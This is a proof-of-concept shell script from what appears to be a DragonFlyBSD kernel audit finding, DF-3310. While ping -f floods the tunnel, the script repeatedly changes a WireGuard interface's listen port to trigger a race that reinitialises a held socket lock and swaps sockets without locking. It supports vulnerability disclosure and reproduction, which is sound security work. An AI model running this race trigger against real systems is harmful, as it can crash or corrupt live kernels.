⬢ DragonFlyBSD Kernel Audit
DF-3310 / raceB.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3310 race driver: continuously change wg0's listen port while the
# tunnel carries ping -f traffic.  Every port change takes the
# IFF_RUNNING path in wg_ioctl_set -> wg_socket_init(), which:
#   1. lockinit()s so_lock a SECOND time on a live lock (zeroing lk_count
#      while wg_send() may hold it SHARED), and
#   2. soclose()es the old sockets + installs new pointers WITHOUT taking
#      so_lock (only sc_lock, which the wg_send fast path never takes).
# Root runs this while root's ping -f floods the send path.
#
# usage: ./raceB.sh <iterations>
ITERS=${1:-5000}
i=0
echo "raceB: $ITERS port changes"
while [ $i -lt $ITERS ]; do
	# random port in 30000..49999 (must differ from 40001/40002 mostly)
	p=$((30000 + ($$ + $i * 7919) % 20000))
	[ "$p" = "40001" ] && p=40003
	[ "$p" = "40002" ] && p=40004
	./wgtool setport wg0 $p >/dev/null 2>&1
	i=$((i+1))
	[ $((i % 500)) -eq 0 ] && echo "iter $i"
done
echo "raceB done"